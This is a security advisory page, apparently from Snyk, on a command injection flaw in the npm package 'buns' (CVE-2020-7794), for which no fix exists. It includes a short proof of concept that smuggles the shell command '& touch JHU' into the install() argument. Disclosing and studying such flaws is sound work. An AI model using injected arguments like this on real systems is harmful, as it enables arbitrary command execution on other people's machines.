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Command Injection Affecting buns package, versions *

0.0
high

Snyk CVSS

    Attack Complexity Low
    Confidentiality High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.25% (65th percentile)
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NVD
9.8 critical

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  • Snyk ID SNYK-JS-BUNS-1050389
  • published 8 Jan 2021
  • disclosed 11 Dec 2020
  • credit JHU System Security Lab
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Introduced: 11 Dec 2020

CVE-2020-7794 Open this link in a new tab
CWE-78 Open this link in a new tab
First added by Snyk

How to fix?

There is no fixed version for buns.

Overview

Affected versions of this package are vulnerable to Command Injection. The injection point is located in line 678 in index file lib/index.js in the exported function install(requestedModule).

PoC

var root = require("buns");
var name = "& touch JHU";
root.install(name);

References